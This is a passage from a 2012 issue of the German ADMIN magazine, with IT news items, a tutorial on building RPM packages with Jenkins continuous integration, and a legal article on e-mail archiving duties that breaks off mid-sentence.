Instantmessaging<br />

FaxEmail Gateway<br />

PrintFax Gateway<br />

Conferencing<br />

Mehr Informationen finden Sie unter:<br />

http://www.pascom.net<br />

http://community.pascom.net<br />

NEU<br />

Kostenlose<br />

Community<br />

Version<br />

erhältlich<br />

pascom<br />

Netzwerktechnik GmbH & Co. KG<br />

Berger Straße 42<br />

94469 Deggendorf<br />

Tel.: +49 991 27006 - 0<br />

Ausgabe 04-2012<br />

11


Login<br />

News<br />

+++ neueste Nachrichten immer auf http://www.admin-magazin.de +++++ neueste Nachrichte<br />

VMware virtualisiert Hadoop<br />

Das neue Serengeti-Projekt soll Hadoop-Installationen in virtualisierten<br />

Umgebungen und „Clouds“ erleichtern und ihre<br />

Performance verbessern.<br />

Die Firma VMware hat ein neues Open-Soure-Projekt ins Leben<br />

gerufen, das es ermöglichen soll, die Cluster-Software Hadoop<br />

einfacher und performanter in virtuellen Umgebungen zu betreiben.<br />

Unter dem Namen „Serengeti“ stellt es einen „One-<br />

Click-Installer“ bereit, der Hadoop in einem Netz virtualisierten<br />

Knoten installiert. Derzeit wird dabei nur die Virtualisierungslösung<br />

vSphere von VMware unterstützt, prinzipiell der Support<br />

anderer Systeme nicht ausgeschlossen. Mit Serengeti lassen<br />

sich außerdem auf Hadoop basierende Anwendungen wie Hive<br />

(Data Warehouse) und Pig (Analyse großer Datenmengen)<br />

installieren.<br />

Serengeti ist in Java geschrieben und steht als freie Software<br />

unter der Apache-Lizenz. Auf der Serengeti-Homepage steht das<br />

Image einer virtuellen vSphere-Appliance zum Download bereit.<br />

Künftig will VMware zusammen mit der Hadoop-Community<br />

daran arbeiten, dass Hadoop, das bisher auf Cluster physischer<br />

Rechner ausgelegt ist, besser mit virtualisierten Umgebungen<br />

funktioniert. So sollen beispielsweise das Hadoop Distributed<br />

File System (HDFS) und das Map-Reduce-Framework dahingehend<br />

optimiert werden.<br />

IPv6-Day: sieben Millionen Hosts<br />

Die monatliche Statistik des Internetspezialisten Netcraft kann<br />

pünktlich zum IPv6-Tag am 6. Juni auf Antworten von 7 Millionen<br />

Hostnames mit IPv6-Adresse verweisen.<br />

Die Mehrheit der IPv6-Hosts läuft unter dem Apache-Webserver<br />

(6,2 Millionen) Nginx folgt mit rund 400.000 Hostnamen. Insgesamt<br />

hat Netcraft in seiner Webserverstatistik [http://​news.​<br />

​netcraft.​com/​archives/​2012/​06/​06/​june‐2012‐web‐server‐survey.​html] den<br />

Apache-<strong>Server</strong> im Juni stark an Marktanteilen zulegen sehen.<br />

Fast 23 Millionen Hostnames mehr als im Vormonat sind auf<br />

Apache gehostet. Microsofts Webserver hat zwar 3,5 Millionen<br />

Hostnames hinzugewonnen, verliert aber trotzdem an Marktanteilen<br />

<strong>gegen</strong>über der Konkurrenz. Nginx hat nach neun Monaten<br />

Wachstum im Juni leicht an Anteilen verloren.<br />

Unter [http:// www. worldipv6launch. org] gibt es Informationen zum<br />

Verlauf des IPv6-Tags.<br />

Lernunterlagen Linux Essentials<br />

Die Linup Front GmbH hat kostenlose Lernunterlagen für die<br />

vom Linux Professional Institute neu eingeführte Zertifizierung<br />

Linux Essentials veröffentlicht. Das Handbuch ist als PDF im<br />

Webshop von Linup Front [http://​shop.​linupfront.​de/​product/​lxes/]<br />

herunterladbar. Zudem stehen die Unterlagen auch in Form<br />

einer Android-App zur Verfügung und lassen sich im Google-<br />

Play-Store finden. Die Unterlagen sind in deutscher Sprache<br />

gehalten, eine englische Fassung gibt es ergänzend.<br />

Mit dem Essentials-Programm möchte das LPI besonders Schüler<br />

und Studenten ansprechen. Diese Zielgruppe kann sich<br />

Grundlagenkenntnisse zu Linux und Open Source attestieren<br />

lassen. Nach Abschluss der Beta-Phase ist die Prüfung Linux<br />

Essentials ab Juni im Angebot.<br />

Fedora will Secure Boot und UEFI meistern<br />

Der Entwickler Matthew Garrett hat einen Plan vorgestellt, der<br />

die kommende Fedora-Release 18 auf Rechnern mit UEFI und<br />

Secure Boot zum Laufen bringen soll. Dabei betont der Red-Hat-<br />

Angestellte, dass er nicht für seinen Arbeitgeber spricht, sondern<br />

nur den Diskussionsstand des Fedora-Projekts wiedergibt.<br />

Garrett erwartet, dass mit der Veröffentlichung von Windows 8<br />

im Herbst 2012 fast alle handelsüblichen Computer Secure Boot<br />

verwenden werden – auf jeden Fall jene mit vorinstalliertem<br />

Windows. Mit in der Firmware hinterlegten Schlüsseln stellt das<br />

System dann sicher, dass nur das vorgesehene Betriebssystem<br />

starten kann, in diesem Fall Windows 8.<br />

Es werde zwar die Möglichkeit geben, in der Firmware Secure<br />

Boot zu deaktivieren oder eigene Schlüssel zu hinterlegen,<br />

diesen heiklen Eingriff möchte Matt Garrett aber nicht allen<br />

Fedora-Nutzern zumuten. Ein mögliches Vorgehen für Fedora<br />

wäre es, selbst einen Schlüssel bei möglichst allen Herstellern<br />

zu hinterlegen. Das wäre aber sehr aufwändig und würde zudem<br />

die Wahl der Linux-Distribution auf Fedora einschränken,<br />

referiert der Entwickler in seinem Blog.<br />

Daneben besteht eine weitere Möglichkeit, für die sich das<br />

Fedora-Projekt wahrscheinlich entscheiden wird: Die erste Stufe<br />

des Linux-Bootloaders von Microsoft signieren zu lassen. Das<br />

sei über das Systementwickler-Portal des Herstellers für 99 US-<br />

Dollar möglich. Die erste Stufe soll dann den Linux-üblichen<br />

Bootloader Grub 2 starten, der den Linux-Kernel lädt.<br />

Das Prinzip ist einfach, der Teufel steckt aber offenbar im Detail:<br />

Damit das Secure-Boot-Prinzip wirklich greift, muss auch der<br />

Linux-Kernel signiert sein, und er darf auch nur signierte Module<br />

nachladen. Die Grafiktreiber müssen alle aus dem Userspace<br />

in den Kernel wandern. Garret und Kollegen haben also noch<br />

einige Arbeit zu leisten.<br />

Anwender, die einen selbst kompilierten Kernel einsetzen möchten,<br />

müssten sich vermutlich die Mühe machen, den Betriebssystemkern<br />

selbst zu signieren und ihre Schlüssel irgendwie<br />

in die Firmware einzuspielen. Oder sie treten selbst Microsofts<br />

Entwicklerprogramm bei, um ihren Kernel signieren zu lassen.<br />

Ansonsten bleibt ihnen nur die Möglichkeit, Secure Boot zu<br />

deaktivieren.<br />

12 Ausgabe 04-2012 Admin www.admin-magazin.de


News<br />

Login<br />

n immer auf http://www.admin-magazin.de ++++ neueste Nachrichten immer auf http://www.<br />

Linux jetzt auf Microsofts Azure-Cloud<br />

Mit einem Update der Cloud-Plattform Azure unterstützt<br />

Microsoft jetzt auch Images für virtualisierte Linux-Systeme.<br />

Für Kunden stehen dabei die Distributionen Ubuntu 12.04,<br />

Open Suse 12.1, CentOS 6.2 und Suse Linux Enterprise <strong>Server</strong> 11<br />

SP2 zur Auswahl. Die hinter Ubuntu stehende Firma Canonical<br />

kommentierte das neue Angebot im eigenen Blog wohlwollend.<br />

Support für das auf Azure installierte Ubuntu <strong>Server</strong> 12.04<br />

LTS will Canonical selbst leisten. Für CentOS-Installationen<br />

außerhalb der Cloud bietet Microsoft bereits länger selbst Support-Leistungen<br />

an. Kostenpflichtigen Support für das CentOS-<br />

Angebot auf Azure gibt es von der Firma Openlogic.<br />

Statt wie bisher Azure nur als Programmier- und Anwendungsplattform<br />

anzubieten (PaaS), entwickelt sich die Microsoft-<br />

Cloud nun etwas mehr in Richtung Infrastructure-as-a-Service<br />

(IaaS), bei dem Kunden, ähnlich wie bei der Amazon-Cloud,<br />

komplette Betriebssysteme virtualisieren.<br />

RHEL 6.3 erschienen<br />

Red Hat hat mit der Version 6.3 ein neues Release seines Red<br />

Hat Enterprise Linux (RHEL) veröffentlicht. Das Minor Release<br />

bringt zahlreiche Verbesserungen und Fehlerkorrekturen sowie<br />

neue Treiber für viele Peripheriegeräte, aber auch neue Features.<br />

Zu den Neuerungen zählen die aktuellste Open-Source-Version<br />

von Java im OpenJDK 7. Neu ist auch ein Virt-P2V-Tool das ein<br />

physisches RHEL- oder Windows-System in einen KVM-Gast<br />

konvertiert. Außerdem kann ein Gast nun 160 statt zuvor nur 64<br />

virtuelle CPUs verwenden. LVM unterstützt neuerdings auch die<br />

RAID-Level 4, 5, und 6 und vereint alle Managementfunktionen<br />

in einem User-Interface.<br />

Open Suse überdenkt Release-Prozess<br />

Open Suses Release-Manager Stephan Kulow hat die Projektmitglieder<br />

der Linux-Distribution informiert, dass sich die für<br />

Mitte Juli geplanten Termine für Version 12.2 nicht halten<br />

lassen. In seiner E-Mail [http://​lists.​opensuse.​org/​opensuse‐factory/​<br />

​2012‐06/​msg00468.​html] schreibt Kulow, die derzeitige Verspätung<br />

sei eine gute Gelegenheit, den Release-Prozess zu überdenken.<br />

Die gewachsene Anzahl der Pakete im Factory-Zweig habe neue<br />

Prob leme mit Abhängigkeiten gebracht, fährt er fort: Nie habe<br />

es in der Entwicklung von Open Suse 12.2 weniger als 100 Pakete<br />

mit dem Status „rot“ gegeben.<br />

Kulow regt daher an, mehr Mitarbeiter in die Integrationsarbeit<br />

einzubeziehen. Zudem soll es mehr Staging-Projekte geben, die<br />

Software zur Reife bringen, und weniger Entwicklungsprojekte.<br />

Als Konsequenz des gestiegenen Aufwands schlägt er vor, entweder<br />

die festen Release-Termine abzuschaffen oder nur noch<br />

einmal im Jahr einen neue Version zu veröffentlichen. Er lädt<br />

die Community zu einer offenen Diskussion ein, um eine neue<br />

Vorgehensweise zu entwickeln.<br />

Jos Poortvliet, Community-Manager von Open Suse, spricht im<br />

Zusammenhang mit den kaputten Paketen von einem Broken-<br />

Window-Problem: Je mehr bereits kaputt sei, desto weniger<br />

kümmerten sich die Leute darum.<br />

Linux-<strong>Server</strong><br />

Das Administrationshandbuch<br />

Linux Hochverfügbarkeit<br />

Einsatzszenarien und Praxislösungen<br />

Dell setzt auf ARM-<strong>Server</strong><br />

Computerhersteller Dell hat mit Tests für Betriebssysteme und<br />

Anwendungen auf ARM-<strong>Server</strong>n begonnen. Ein <strong>Server</strong>-Modell<br />

namens Copper [http://​content.​dell.​com/​us/​en/​enterprise/​d/​campaigns/​<br />

​project‐copper.​aspx] sei an ausgewählte Kunden bereits ausgeliefert,<br />

heißt es in einer Mitteilung des Unternehmens. Zu diesen<br />

Kunden zählen Canonical und<br />

Cloudera. Zum Test gibt es einen<br />

Remote-Zugang zu Dells<br />

Copper-<strong>Server</strong>clustern.<br />

Dell sieht die Nachfrage nach<br />

ARM-Installationen in den<br />

Bereichen Web-Frontend- und<br />

Hadoop-Umgebungen steigen.<br />

Die meisten Lösungen seien<br />

im Open-Source- und im nichtoperativen<br />

Umfeld verfügbar,<br />

heißt es weiter, deshalb wolle<br />

Steve Cumings vom Dell Data Center Dell die Weiterentwicklung<br />

Solutions präsentiert das Projekt dieses Partnersystems unterstützen.<br />

Copper.<br />

1008 S., 2., akt. und erw. Auflage, 49,90 €<br />

» www.GalileoComputing.de/3051<br />

Admin-Know-how<br />

Apache 2.4<br />

Das umfassende Handbuch<br />

1024 S., 2012, mit DVD, 49,90 €<br />

» www.GalileoComputing.de/2632<br />

454 S., 2011, mit DVD, 49,90 €<br />

» www.GalileoComputing.de/1999<br />

www.GalileoComputing.de<br />

LPIC-1<br />

545 S., 2012, mit DVD, 34,90 €<br />

» www.GalileoComputing.de/2653<br />

www.admin-magazin.de<br />

Admin<br />

13<br />

Ausgabe 04-2012<br />

Wissen, wie’s geht.


Login<br />

Admin-Story<br />

© Florin Rosu, Fotolia<br />

Continuous Integration mit Jenkins<br />

Dienstbarer<br />

Geist<br />

Den neu geschriebenen Programmcode zu übersetzen und zu testen, ist<br />

eine Sache. Das Ganze dann aber auch noch in ein RPM-Paket zu gießen,<br />

um die Software sauber auf den Test-Systemen zu installieren, eine ganz<br />

andere. Jenkins hilft, diese Arbeit zu minimieren. Thorsten Scherf<br />

Ob Entwickler ihre Arbeit oft und frühzeitig<br />

in ein Versionskontrollsystem<br />

(VCS) wie beispielsweise Subversion<br />

oder Git einchecken sollen oder nicht, ist<br />

Gegenstand hitziger Diskussionen. Die<br />

Gegner führen an, dass hierdurch möglicherweise<br />

die Arbeit anderer Entwickler<br />

erschwert wird, da ja nicht immer sichergestellt<br />

ist, dass der eingecheckte Code<br />

auch funktioniert beziehungsweise die<br />

Software sich überhaupt noch übersetzen<br />

lässt. Die Befürworter halten ent<strong>gegen</strong>,<br />

dass sich neuer Code immer schwieriger<br />

integrieren lässt, je größer und umfangreicher<br />

der neue Commit wird. Kleine,<br />

aber zahlreiche Code-Häppchen sollen<br />

hier also sicherstellen, dass ein möglicher<br />

Fehler früh erkannt wird und dieser sich<br />

somit schnell beheben lässt.<br />

Das Ganze kann aber natürlich nur dann<br />

funktionieren, wenn jemand die vielen<br />

neuen Code-Häppchen auch regelmäßig<br />

testet, sobald diese im Software-Repository<br />

auftauchen. Nur dann ist sichergestellt,<br />

dass Fehler zeitnah und somit<br />

auch einfach zu beheben sind. Wieso<br />

also nicht einfach jemanden einstellen,<br />

der den lieben langen Tag nichts anderes<br />

macht, als neu eingecheckten Code zu<br />

übersetzen, zu verifizieren und dann auf<br />

mögliche Fehler hinzuweisen? Diese neue<br />

Ressource würde noch nicht einmal einen<br />

Gehaltsscheck verlangen, denn die Rede<br />

ist von Jenkins, dem Butler – einigen<br />

vielleicht auch noch unter dem Namen<br />

Hudson bekannt.<br />

Jenkins, geb. Hudson<br />

Jenkins [1] ist eine webbasierte Java-<br />

Anwendung, die in jedem modernen<br />

Servlet-Container läuft, wie beispielsweise<br />

Tomcat oder Jboss. Das Tool bringt<br />

jedoch auch mit Winstone einen eigenen,<br />

minimalen Container mit. Somit besteht<br />

nicht zwingend die Notwendigkeit, einen<br />

zusätzlichen Webcontainer zu installieren,<br />

sollte dieser nicht bereits vorhanden<br />

sein. Jenkins unterstützt eine ganze Reihe<br />

von Buildtools und integriert sich nahtlos<br />

in Versionskontrollsysteme wie beispielsweise<br />

Subversion. Dank der modularen<br />

Struktur von Jenkins lässt sich dessen<br />

Funktionsumfang sehr stark erweitern.<br />

So existieren beispielsweise Plugins für<br />

das Einbinden von weiteren Buildtools<br />

oder Versionskontrollsystemen.<br />

Durch regelmäßige Abfragen des konfigurierten<br />

VCS kann Jenkins sehr schnell<br />

feststellen, ob neuer Code in das Repository<br />

eingecheckt wurde. Sollte dies der<br />

Fall sein, so wird dieser ausgecheckt, und<br />

Jenkins ruft das konfigurierte Build-Tool<br />

auf, um den neuen Code schließlich zu<br />

übersetzen. Zusätzlich ist Jenkins natürlich<br />

auch in der Lage, beliebige andere<br />

Aktionen auf den neuen Code anzuwenden.<br />

Hierzu zählt beispielsweise das<br />

Bauen von einem neuen RPM-Paket auf<br />

Basis des neuen Programmcodes.<br />

Grüße von Chuck Norris<br />

Wer das Chuck-Norris-Plugin installiert<br />

hat, der bekommt im Erfolgsfall das passende<br />

Thumbsup zu sehen (Abbildung 1),<br />

sonst gibt Jenkins eine einfache Erfolgsmeldung<br />

aus. Die Build-Ergebnisse, auch<br />

Artefakte genannt, bewahrt Jenkins dabei<br />

auf Wunsch auf. Das ist ganz nützlich,<br />

wenn man diese nicht durch den nächsten<br />

Buildprozess wieder überschreiben<br />

möchte. Der Aufruf eines automatischen<br />

Testtools, wie beispielsweise JUnit, stellt<br />

dann schließlich sicher, dass der neue<br />

Build auch funktionell die gewünschten<br />

Abbildung 1: Der Build war erfolgreich? Chuck Norris<br />

bedankt sich mit einem Thumbsup.<br />

16 Ausgabe 04-2012 Admin www.admin-magazin.de


Admin-Story<br />

Login<br />

einfach als RPM-Revision. Der Header<br />

im Spec-File kann somit beispielsweise<br />

folgende Zeilen enthalten:<br />

Name<br />

: foo<br />

Summary<br />

: foo application<br />

Version : 42<br />

Release<br />

: %{?BUILD_NUMBER}<br />

Abbildung 2: Mit Jenkins lassen sich unterschiedlichste Software-Projekte managen.<br />

Ergebnisse liefert. Mögliche Fehler zeigt<br />

Jenkins auch direkt an und kann auf<br />

Wunsch auch per E-Mail oder einen RSS-<br />

Feed darüber informieren.<br />

Installation<br />

Um Jenkins nun zu verwenden, ist zuerst<br />

einmal das entsprechende Software-<br />

Repository einzubinden:<br />

# sudo wget ‐O /etc/yum.repos.d/jenkins.U<br />

repo http://pkg.jenkins‐ci.org/redhat/U<br />

jenkins.repo<br />

# sudo rpm ‐‐import http://pkg.jenkins‐ci.U<br />

org/redhat/jenkins‐ci.org.key<br />

# sudo yum install ‐y jenkins<br />

# sudo /etc/init.d/jenkins start<br />

Für nicht RPM-basierte Distributionen<br />

steht auf der Jenkins-Projektseite ein entsprechendes<br />

War-Archiv zur Verfügung.<br />

Im Anschluss lauscht Jenkins auf Port<br />

8080 auf eingehende Requests. Ruft<br />

man die Seite nun also im Webbrowser<br />

auf, steht auf der linken Seite ein Auswählmenü<br />

zur Verfügung. Um ein neues<br />

Projekt anzulegen, wählt man hier dann<br />

»New Job« aus. Über den Menüpunkt<br />

»Build a freestyle Software project« (Abbildung<br />

2) gelangt man dann schließlich<br />

in den eigentlichen Konfigurationsdialog.<br />

Hier ist das Versionskontrollsystem, das<br />

Build-Tool und optional das Test-Tool zu<br />

spezifizieren. Für das automatische Erzeugen<br />

von RPM-Pakten, um das es hier<br />

geht, benutze ich das einfache Skript in<br />

Listing 1. Es ist als Build-Tool in Jenkins<br />

einzutragen und stößt den entsprechenden<br />

RPM-Build an (Abbildung 3).<br />

Das Ganze setzt natürlich voraus, dass<br />

der Subversion-Checkout in einem Unterordner<br />

»foo« erfolgt. Diese Info kann<br />

ich Jenkins mit übergeben. Hier sollten<br />

dann neben dem RPM-Spec-File und dem<br />

Build-Skript natürlich alle Dateien liegen,<br />

die in das RPM zu integrieren sind. Um<br />

ebenfalls ein sauberes SRPM zu erhalten,<br />

wird aus den Sourcen noch ein Archiv<br />

gebaut, welches mit in das SRPM einfließt.<br />

Die For-Schleife erzeugt dann im<br />

Projektordner unterhalb von »/var/lib/<br />

jenkins/workspace/« eine entsprechende<br />

RPM-Buildstruktur.<br />

Makros definiert<br />

Damit der Aufruf von »rpmbuild« auch<br />

tatsächlich funktioniert, muss das Tool<br />

wissen, dass seine Build-Umgebung jetzt<br />

im Jenkins-Projektordner liegen soll.<br />

Diese Information kann ich beim Aufruf<br />

mittels des »topdir«-Makros zwar mit angeben,<br />

eleganter ist es jedoch, diese Info<br />

einfach mit in das Spec-File aufzunehmen.<br />

Im Header der Datei definiere ich<br />

hierfür einfach zwei neue Makros, die ich<br />

dann im weiteren Verlauf der Spec-Files<br />

verwenden kann:<br />

%define _topdir %(echo `pwd`)<br />

%define BUILD_NUMBER %(echo $SVN_REVISION)<br />

»BUILD_NUMBER« bezieht sich auf die<br />

SVN-Revision. Hierfür stellt Jenkins netterweise<br />

eine entsprechende Variable zur<br />

Verfügung. Von diesen Variablen kennt<br />

Jenkins eine ganze Menge, die Dokumentation<br />

[2] stellt eine ganze Liste davon<br />

zur Verfügung. Die »BUILD_NUMBER«<br />

verwende ich im RPM-Spec-File dann<br />

Der Autor<br />

Thorsten Scherf arbeitet als Senior Consultant für<br />

Red Hat EMEA. Er ist oft als<br />

Vortragender auf Konferenzen<br />

anzutreffen. Wenn neben<br />

Arbeit und Familie noch<br />

Zeit bleibt, nimmt er gerne<br />

an Marathonläufen teil.<br />

Durch den Aufruf von »Build Now« oder<br />

durch einen neuen Checkin ins Repository,<br />

wird der Build angestoßen. Hat alles<br />

geklappt, sollte das neu gebaute RPM-<br />

Paket im Jenkins-Projektverzeichnis im<br />

Unterorder RPMS zu finden sein. Jenkins<br />

stellt eine Reihe von unterschiedlichen<br />

URLs zur Verfügung, mit denen man beispielsweise<br />

auch auf das zuletzt erzeugte<br />

RPM-Paket referenzieren kann. Eine solche<br />

URL könnte dann wie folgt lauten:<br />

http://localhost:8080/job/U<br />

foo‐jenkins‐project/lastSuccessfulBuild/<br />

Eine Übersicht sämtlicher URLs und RSS-<br />

Feeds stellt Jenkins auf der Projektseite<br />

zur Verfügung. Dort ist auch eine entsprechende<br />

Grafik zu finden, die einen Build-<br />

Trend für das Projekt anzeigt. Hoffentlich<br />

scheint dort meist die Sonne.<br />

An dieser Stelle sind dann natürlich<br />

jede Menge weitere Aktionen möglich.<br />

Beispielsweise könnte man das soeben<br />

erzeugte RPM automatisch auf einen<br />

Spacewalk-<strong>Server</strong> laden, um es von dort<br />

auf die Test-Systeme zu deployen. Jenkins<br />

bietet hier noch viele Möglichkeiten<br />

– nicht zuletzt durch die vielen nützlichen<br />

Plugins. (cth/​ofr)<br />

n<br />

Infos<br />

[1] Jenkins-Projektseite: [https:// wiki.​<br />

jenkins‐ci. org/]<br />

[2] Jenkins-Dokumentation: [https://​<br />

wiki. jenkins‐ci. org/ display/ JENKINS/​<br />

Building+a+software+project]<br />

Listing 1: »build.sh«<br />

01 tar cfz foo.tar.gz foo/* ‐‐exclude="*.spec" ‐‐exclude<br />

".svn" ‐‐exclude="build.sh"<br />

02 <br />

03 for dir in BUILD RPMS SOURCES SPECS SRPMS<br />

04 do<br />

05 [[ ‐d $dir ]] && rm ‐Rf $dir<br />

06 mkdir $dir<br />

07 done<br />

08 <br />

09 cp foo/foo.spec SPECS/<br />

10 mv foo.tar.gz SOURCES/<br />

11 rpmbuild ‐ba SPECS/foo.spec<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

17


Login<br />

Mail-Archivierung<br />

© bilderbox, Fotolia<br />

Archivierungspflicht für E-Mails<br />

Ablageordnung<br />

Welche Aufbewahrungspflichten gelten für E-Mails und digitale Dokumente? Sind alle E-Mails zu archivieren?<br />

welche technischen Anforderungen verlangt das Gesetz? Vilma Niclas<br />

E-Mails haben in vielen Bereichen den<br />

herkömmlichen Geschäftsbrief oder das<br />

Fax abgelöst. Für die Geschäftspost waren<br />

Eingangsstempel und eine ordentliche<br />

Ablage selbstverständlich. Was<br />

vielleicht noch nicht ebenso selbstverständlich<br />

ist: Auch E-Mail-Postfächer sind<br />

entsprechend zu organisieren. Bestimmte<br />

E-Mails und digitale Dokumente sind eine<br />

Zeit lang geordnet aufzubewahren. Eine<br />

digitale Ablage samt Index ist Vorschrift<br />

(Technische Einzelheiten diskutiert ein<br />

weiterer Beitrag dieser Ausgabe).<br />

Form follows function<br />

Entscheidend für die Frage, ob ein Dokument<br />

archiviert werden muss oder nicht,<br />

ist dessen Inhalt. Für Mails gelten grundsätzlich<br />

identische gesetzliche Vorgaben<br />

wie für herkömmliche Unterlagen auf<br />

Papier. Aufbewahrungspflichten ergeben<br />

sich aus der Abgabenordnung (AO), dem<br />

Handelsgesetzbuch (HGB) und dem Umsatzsteuergesetz.<br />

In § 257 HGB heißt es<br />

unter anderem: „Jeder Kaufmann ist verpflichtet,<br />

die folgenden Unterlagen geordnet<br />

aufzubewahren. […] 2. die empfangenen<br />

Handelsbriefe, 3. Wiedergaben der<br />

abgesandten Handelsbriefe….“ Handelsbriefe<br />

sind all diejenigen Schriftstücke,<br />

die ein Handelsgeschäft betreffen, etwa<br />

ein Angebot und dessen Annahme per E-<br />

Mail oder die Rückabwicklung oder Kündigung<br />

eines Vertrages. Angebote, die zu<br />

einem Vertragsschluss führen, Auftragsbestätigungen,<br />

Rechnungen, Kündigungen,<br />

Reklamationen oder Zahlungsbelege<br />

sind zu archivieren, unabhängig davon,<br />

ob diese digital oder auf Papier anfallen.<br />

Werbesendungen fallen nicht darunter,<br />

solange diese nicht zum Geschäftsabschluss<br />

führen. Im Zweifel kommt es auf<br />

den Einzelfall an.<br />

Paragraf 147 AO, eine Vorschrift aus dem<br />

Steuerrecht, regelt weitere Ordnungsvorschriften<br />

für die Aufbewahrung von Auftragsbestätigungen,<br />

Rechnungen oder E-<br />

Mails. Diese Vorschrift gilt anders als das<br />

Handelsgesetzbuch nicht nur für Kaufleute,<br />

sondern auch für Freiberufler und<br />

andere gewerblich Tätige. Die Vorschrift<br />

verlangt, alle sonstigen Unterlagen, soweit<br />

sie für die Besteuerung von Bedeutung<br />

sind, aufzubewahren. Die Grenze ist<br />

fließend und es dürfte in der Praxis nicht<br />

leicht fallen, in der Flut der E-Mails täglich<br />

Wichtiges von Unwichtigem zu trennen.<br />

Man sollte daher eher mehr als zu<br />

wenig archivieren. Auch E-Mail-Anhänge,<br />

etwa Vertragsentwürfe können entscheidend<br />

sein, weshalb sie mit ins Archiv<br />

gehören. Viele Unternehmer haben sich<br />

dafür entschieden, sämtliche eingehenden<br />

und ausgehenden E-Mails mit einem<br />

Index zu versehen und vollständig zu<br />

archivieren, noch bevor der Mitarbeiter<br />

einzelne E-Mails löschen kann.<br />

Was Mails beweisen<br />

Gelten E-Mails als Beweismittel? Selbst<br />

ohne diese gesetzlichen Pflichtvorgaben<br />

zur Archivierung tut man gut daran,<br />

E-Mails und digitale Dokumente eine gewisse<br />

Zeit lang geordnet aufzubewahren.<br />

Dies gilt besonders, wenn es um E-Mails<br />

geht, die einen Vertragsschluss vorbereiten<br />

oder den Inhalt eines Vertrages dokumentieren.<br />

Es ist möglich, einen Vertrag<br />

digital ohne handschriftliche Unterschrift<br />

rechtsverbindlich zu schließen. Ein Angebot<br />

per E-Mail und die entsprechende<br />

Antwort des Geschäftspartners, die ein<br />

„Ja“ enthält oder die Bitte Ware zuzusenden<br />

oder die Dienstleistung zu erbringen,<br />

reichen in der Regel. Ein unterschriebenes<br />

Dokument ist nur für bestimmte Geschäfte<br />

nötig, etwa bei einer Bürgschaft,<br />

Kündigung des Arbeitsverhältnisses oder<br />

18 Ausgabe 04-2012 Admin www.admin-magazin.de


Mail-Archivierung<br />

Login<br />

einem Grundstückskaufvertrag. Sollte das<br />

Gesetz ausnahmsweise die eigenhändige<br />

Unterschrift für eine bestimmte Erklärung<br />

vorschreiben, ist es mittlerweile möglich,<br />

diese durch die sogenannte elektronische<br />

Form zu ersetzen, die § 126 a BGB regelt.<br />

Das bedeutet: Der Absender muss<br />

der Erklärung seinen Namen hinzufügen<br />

und das elektronische Dokument mit einer<br />

qualifizierten elektronischen Signatur<br />

nach dem Signaturgesetz versehen.<br />

Das Problem unsignierter Verträge ist:<br />

Die Dateien sind leicht zu manipulieren<br />

und eine ordnungsgemäße Ablage erfolgt<br />

selten. Dies führt dazu, dass einfache<br />

E-Mails und Dateien vor Gericht keinen<br />

hohen Stellenwert genießen. Wer einem<br />

Richter einen schriftlichen Vertrag mit<br />

eigenhändigen Unterschriften vorlegt,<br />

setzt im Streitfall sein Recht wesentlich<br />

einfacher durch als mit einer ausgedruckten<br />

E-Mail.<br />

Nicht vertrauenswürdig<br />

Ein Beispiel: Bei einem Gebot auf eine<br />

Internet-Auktion für eine goldene Herrenarmbanduhr<br />

sollte diese der angebliche<br />

Käufer zu einem Preis von 18 000,- DM<br />

ersteigert haben. Er wollte nicht zahlen<br />

und bestritt, die Uhr ersteigert zu haben.<br />

Den Vertragsschluss konnte der Verkäufer<br />

nicht beweisen. Er blieb trotz erfolgreicher<br />

Auktion auf der Uhr sitzen und erhielt<br />

den Kaufpreis nicht, der ihm eigentlich<br />

zugestanden hätte. Das OLG Köln am<br />

06. September 2002 (AZ: 19 U 16/​02):<br />

© Feng Yu, 123RF<br />

Abbildung 1: Eine indizierte Ablage ist auch für E-Mails Pflicht.<br />

Der Empfänger einer E-Mail könne nicht<br />

darauf vertrauen, dass eine E-Mail tatsächlich<br />

vom Inhaber der E-Mail- Adresse<br />

stamme, da der Sicherheitsstandard im<br />

Internet nicht ausreichend sei. Man sollte<br />

also immer damit rechnen, dass die einfache<br />

nicht signierte E-Mail im Gerichtssaal<br />

nur Indizcharakter hat und einen<br />

weitaus geringeren Beweiswert als ein<br />

unterschriebenes Blatt Papier.<br />

Qualifiziert signierte<br />

E-Mails<br />

Kommt es hart auf hart, und bezweifelt<br />

der Gegner die Echtheit einer E-Mail und<br />

legt <strong>gegen</strong>teilige Indizien auf den Tisch,<br />

ist die Erfolgsaussicht ohne zusätzliche<br />

Zeugen oder ohne qualifizierte elektronische<br />

Signatur schlecht. Zwar ist es schon<br />

seit 2001 möglich, E-Mails rechtssicher<br />

zu signieren. Aber leider hat sich das in<br />

der Praxis bis heute nicht durchgesetzt.<br />

Schuld daran sind die hohen jährlichen<br />

Kosten und die unterschiedliche Software<br />

bei Empfänger und Absender. Für eine<br />

elektronische Signatur muss der Aussteller<br />

der Erklärung seinen Namen hinzufügen<br />

und das elektronische Dokument<br />

mit der qualifizierten elektronischen Signatur<br />

nach dem Signaturgesetz signieren<br />

(§ 126 a BGB iVm, § 2 Nr. 3 Signaturgesetz),<br />

also mit einem kryptographischen<br />

Schlüssel versehen. So signierte E-Mails<br />

sind Privaturkunden in ihrem Beweiswert<br />

vor Gericht mehr oder weniger gleichgestellt<br />

(§ 371 a ZPO). Man geht von<br />

der Vermutung aus, dass die E-Mail mit<br />

diesem Inhalt tatsächlich vom Absender<br />

stammt, solange der Gegner den Anschein<br />

nicht durch ernst zu nehmende<br />

Tatsachen erschüttert.<br />

Das deutsche Signaturgesetz kennt<br />

verschiedene Arten der elektronischen<br />

Signaturen: die einfache, die fortgeschrittene<br />

sowie die qualifizierte elektronische<br />

Signatur. Die einfache Signatur ist nichts<br />

weiter als die Namensnennung des Absenders<br />

in der E-Mail. Sie bewirkt keinen<br />

zusätzlichen Beweiswert vor Gericht. Authentizität<br />

und Integrität sind durch diese<br />

Unterschrift nicht gewährleistet. Die<br />

fortgeschrittene Signatur gewährleistet,<br />

dass das Dokument unverändert beim<br />

Empfänger ankommt. Da jedermann beliebige<br />

Signaturschlüssel erzeugen kann,<br />

gewährt eine solche Signatur jedoch<br />

keine Authentizität.<br />

Statt Unterschrift<br />

Nur die qualifizierte elektronische Signatur<br />

bringt zusätzliche Gewissheit über<br />

den Absender. Damit lässt sich die eigenhändige<br />

Unterschrift ersetzen. Man<br />

erzeugt sie mithilfe eines privaten kryptografischen<br />

Schlüssels. Mit dem öffentlichen<br />

